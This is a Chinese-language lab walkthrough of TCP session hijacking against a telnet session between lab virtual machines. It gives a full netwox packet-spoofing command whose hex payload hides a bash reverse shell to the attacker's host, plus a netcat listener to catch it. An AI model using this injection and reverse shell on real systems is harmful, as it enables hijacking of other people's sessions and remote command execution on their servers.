攻击思路
hacker需要获取client与server的tcp回话信息（arp攻击等获取流量）。
观察server给client的报文信息。
hacker根据观察获得的信息构造一个tcp报文，该报文是client给server的下一个报文。 具体报文构造如下：
mac地址换成hacker 。三层的ip地址不变还是client的ip，目标也不变还是server的ip。tcp信息根据观察构造，保证他是client给server的下一个报文tcp报文。实验拓扑
说明：上述拓扑仅仅是为了读者更好的理解实验结构，真实场景中不需要构造，因为三者都使用的linux虚拟机进行操作。
攻击步骤 一、在kali端开启wireshark进行抓包 等待抓取TCP的流量。 注意，在第二步进行后，才会看到流量的通过。 抓取结果如下：
二、client使用telnet登录server client登录到server端，查看当前路径下的文件。
三、根据步骤一二过程中抓取到的TCP流量，构造TCP数据包 进入kali，使用netwox 40号工具伪造TCP数据报文
Title: Spoof Ip4Tcp packet Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] Parameters: -c|--ip4-tos uint32 IP4 tos {0} -e|--ip4-id uint32 IP4 id (rand if unset) {0} -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag -i|--ip4-offsetfrag uint32 IP4 offsetfrag {0} -j|--ip4-ttl uint32 IP4 ttl {0} -k|--ip4-protocol uint32 IP4 protocol {0} -l|--ip4-src ip IP4 src {192.168.162.128} -m|--ip4-dst ip IP4 dst {5.6.7.8} -n|--ip4-opt ip4opts IPv4 options -o|--tcp-src port TCP src {1234} -p|--tcp-dst port TCP dst {80} -q|--tcp-seqnum uint32 TCP seqnum (rand if unset) {0} -r|--tcp-acknum uint32 TCP acknum {0} -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4 -w|--tcp-cwr|+w|--no-tcp-cwr TCP cwr -x|--tcp-ece|+x|--no-tcp-ece TCP ece -y|--tcp-urg|+y|--no-tcp-urg TCP urg -z|--tcp-ack|+z|--no-tcp-ack TCP ack -A|--tcp-psh|+A|--no-tcp-psh TCP psh -B|--tcp-rst|+B|--no-tcp-rst TCP rst -C|--tcp-syn|+C|--no-tcp-syn TCP syn -D|--tcp-fin|+D|--no-tcp-fin TCP fin -E|--tcp-window uint32 TCP window {0} -F|--tcp-urgptr uint32 TCP urgptr {0} -G|--tcp-opt tcpopts TCP options -H|--tcp-data mixed_data mixed data --help2 display help for advanced parameters Example: netwox 40操作命令如下：sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.162.132 --ip4-dst 192.168.162.131 --tcp-src 42319 --tcp-dst 23 --tcp-seqnum 353757777 --tcp-acknum 2242478244 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3136322E3132382F3939393920303E26310d00
其中，data部分为shell命令的16进制描述，意义是利用操作server端主动连接kali。
四、在kali端布置反弹shell 使用工具netcat nc -l -p 9999 -v -l为监听模式 -p为监听端口 -v是详细模式
五、发送伪造的TCP报文 查看是否与server建立了连接
可以看到，此时已经建立了连接
